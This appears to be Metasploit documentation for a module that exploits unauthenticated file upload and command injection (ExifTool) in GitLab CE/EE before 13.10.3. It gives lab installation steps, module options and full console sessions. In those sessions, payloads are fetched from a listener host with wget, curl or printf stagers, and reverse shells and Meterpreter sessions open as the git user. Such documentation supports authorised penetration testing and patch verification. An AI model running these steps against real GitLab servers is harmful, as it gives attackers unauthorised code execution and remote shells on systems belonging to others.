## Vulnerable Application

### Description

This module exploits an unauthenticated file upload and command injection vulnerability in GitLab Community Edition (CE) and
Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6, and 13.8.8.

Exploitation will result in command execution as the git user.

### Installation

#### GitLab 13.10.2 on Ubuntu 20.04.2 x64

* Download [GitLab 13.10.2](https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/focal/gitlab-ce_13.10.2-ce.0_amd64.deb)
* Install openssh-server (`sudo apt install openssh-server`)
* Install GitLab (`sudo dpkg -i gitlab-ce_13.10.2-ce.0_amd64.deb`)
* Modify the `external_url` in `/etc/gitlab/gitlab.rb` to something like `external_url http://localhost`
* Run `sudo gitlab-ctl reconfigure`
* Done!

## Verification Steps

* Follow the above instructions to install GitLab 13.10.2
* Do: `use exploit/multi/http/gitlab_exif_rce`
* Do: `set RHOST <ip>`
* Do: `check`
* Verify the remote target is flagged as vulnerable
* Do: `set LHOST <ip>`
* Do: `set LPORT <port>`
* Do: `exploit`
* You should get a Meterpreter session.

## Targets

### 0

By default, this targets GitLab with the `reverse_openssl` payload and returns a reverse shell.

### 1

By default, this target obtains a meterpreter session using `wget`. This target also supports
`lwprequest`, `curl`, and `printf`.

## Options

### TARGETURI

Specifies GitLab's base URI. Although an unpopular configuration, GitLab does support use
of a [relative URL](https://docs.gitlab.com/omnibus/settings/configuration.html#configuring-a-relative-url-for-gitlab).

## Scenarios

### GitLab 13.10.1 on Ubuntu 20.04.2 x64. Get Meterpreter session.

```
msf > use exploit/multi/http/gitlab_exif_rce
[*] Using configured payload linux/x86/meterpreter_reverse_tcp
msf exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.7
RHOST => 10.0.0.7
msf exploit(multi/http/gitlab_exif_rce) > check

[*] Uploading c6hn3KFIMqv.jpg to /D3iMLq
[+] 10.0.0.7:80 - The target is vulnerable. The error response indicates ExifTool was executed.
msf exploit(multi/http/gitlab_exif_rce) > options

Module options (exploit/multi/http/gitlab_exif_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.0.0.7         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (linux/x86/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9
LHOST => 10.0.0.9
msf exploit(multi/http/gitlab_exif_rce) > exploit

[*] Started reverse TCP handler on 10.0.0.9:4444
[*] Executing Linux Dropper for linux/x86/meterpreter_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/agqzWrd49OBxPkC
[*] Local IP: http://10.0.0.9:8080/agqzWrd49OBxPkC
[*] Uploading S6uji8z.jpg to /6eKwYEoQ2O
[*] Client 10.0.0.7 (Wget/1.17.1 (linux-gnu)) requested /agqzWrd49OBxPkC
[*] Sending payload to 10.0.0.7 (Wget/1.17.1 (linux-gnu))
[*] Meterpreter session 1 opened (10.0.0.9:4444 -> 10.0.0.7:53056 ) at 2021-11-02 01:27:22 -0700
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (116/116 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: git
meterpreter > shell
Process 6936 created.
Channel 1 created.
whoami
git
id
uid=998(git) gid=998(git) groups=998(git)
pwd
/var/opt/gitlab/gitlab-workhorse
```

Similar to above, but using `curl` instead:

```
msf exploit(multi/http/gitlab_exif_rce) > run

[*] Started reverse TCP handler on 10.0.0.9:4444
[*] Executing Linux Dropper for linux/x86/meterpreter_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/Iy9pWshQ8gakRvP
[*] Local IP: http://10.0.0.9:8080/Iy9pWshQ8gakRvP
[*] Uploading MMNlv9v.jpg to /hZXc5H1
[*] Client 10.0.0.7 (curl/7.74.0-DEV) requested /Iy9pWshQ8gakRvP
[*] Sending payload to 10.0.0.7 (curl/7.74.0-DEV)
[*] Meterpreter session 6 opened (10.0.0.9:4444 -> 10.0.0.7:50850 ) at 2021-11-02 11:51:42 -0700
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (116/116 bytes)
[*] Server stopped.

meterpreter >
```

### GitLab 13.10.2 on CentOS 8. Get reverse shell using printf / reverse_tcp

```
msf > use exploits/multi/http/gitlab_exif_rce
[*] Using configured payload linux/x86/meterpreter_reverse_tcp
msf exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.7
RHOST => 10.0.0.7
msf exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9
LHOST => 10.0.0.9
msf exploit(multi/http/gitlab_exif_rce) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(multi/http/gitlab_exif_rce) > set CmdStager::Flavor printf
CmdStager::Flavor => printf
msf exploit(multi/http/gitlab_exif_rce) > exploit

[*] Started reverse TCP handler on 10.0.0.9:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading W1tHrzXkK.jpg to /mopoTKJq
[+] The target is vulnerable. The error response indicates ExifTool was executed.
[*] Executing Linux Dropper for linux/x86/shell/reverse_tcp
[*] Uploading aVTK6SM33.jpg to /NySTvN3J
[+] Exploit successfully executed.
[*] Command Stager progress -  17.76% done (143/805 bytes)
[*] Uploading uOQXfShf.jpg to /0vHnowZA8ftJ
[+] Exploit successfully executed.
[*] Command Stager progress -  35.40% done (285/805 bytes)
[*] Uploading Ov2VCdIih.jpg to /NefATU
[+] Exploit successfully executed.
[*] Command Stager progress -  53.04% done (427/805 bytes)
[*] Uploading lYJsr5whY.jpg to /TOLaoA1q
[+] Exploit successfully executed.
[*] Command Stager progress -  70.68% done (569/805 bytes)
[*] Uploading MwuCYLqHh.jpg to /lMTzzMxXjFye
[+] Exploit successfully executed.
[*] Command Stager progress -  88.20% done (710/805 bytes)
[*] Uploading dkp8oskGlDJI.jpg to /VglvVbpx
[*] Sending stage (36 bytes) to 10.0.0.7
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (805/805 bytes)
[*] Command shell session 1 opened (10.0.0.9:4444 -> 10.0.0.7:48694 ) at 2021-11-03 08:34:02 -0700

id
uid=973(git) gid=972(git) groups=972(git) context=system_u:system_r:unconfined_service_t:s0
whoami
git
```

### GitLab 13.10.2 on Ubuntu 20.04.2 x64. Get reverse shell.

```
msf > use exploit/multi/http/gitlab_exif_rce
[*] Using configured payload linux/x86/meterpreter_reverse_tcp
msf exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.3
RHOST => 10.0.0.3
msf exploit(multi/http/gitlab_exif_rce) > check

[*] Uploading bSjUnQsE.jpg to /Da8eKs2
[+] 10.0.0.3:80 - The target is vulnerable. The error response indicates ExifTool was executed.
msf exploit(multi/http/gitlab_exif_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   Linux Dropper


msf exploit(multi/http/gitlab_exif_rce) > set target 0
target => 0
msf exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9
LHOST => 10.0.0.9
msf exploit(multi/http/gitlab_exif_rce) > exploit

[*] Started reverse double SSL handler on 10.0.0.9:4444
[*] Executing Unix Command for cmd/unix/reverse_openssl
[*] Uploading 1SynV6Z.jpg to /9v3LPsOOBuH
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo tZscWcue53S3jgeY;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "tZscWcue53S3jgeY\n"
[*] Matching...
[*] B is input...
[+] Exploit successfully executed.
[*] Command shell session 1 opened (10.0.0.9:4444 -> 10.0.0.3:44304 ) at 2021-11-02 01:35:07 -0700

whoami
git
id
uid=998(git) gid=998(git) groups=998(git)
pwd
/var/opt/gitlab/gitlab-workhorse
```

### GitLab 14.4.1 on Ubuntu 20.04.2 x64. Unable to exploit.

```
msf > use exploits/multi/http/gitlab_exif_rce
[*] Using configured payload linux/x86/meterpreter_reverse_tcp
msf exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9
LHOST => 10.0.0.9
msf exploit(multi/http/gitlab_exif_rce) > exploit

[*] Started reverse TCP handler on 10.0.0.9:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading NUvUyPiyKL3.jpg to /PT2hiCf47
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The error response indicates ExifTool was not run. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf exploit(multi/http/gitlab_exif_rce) >
```
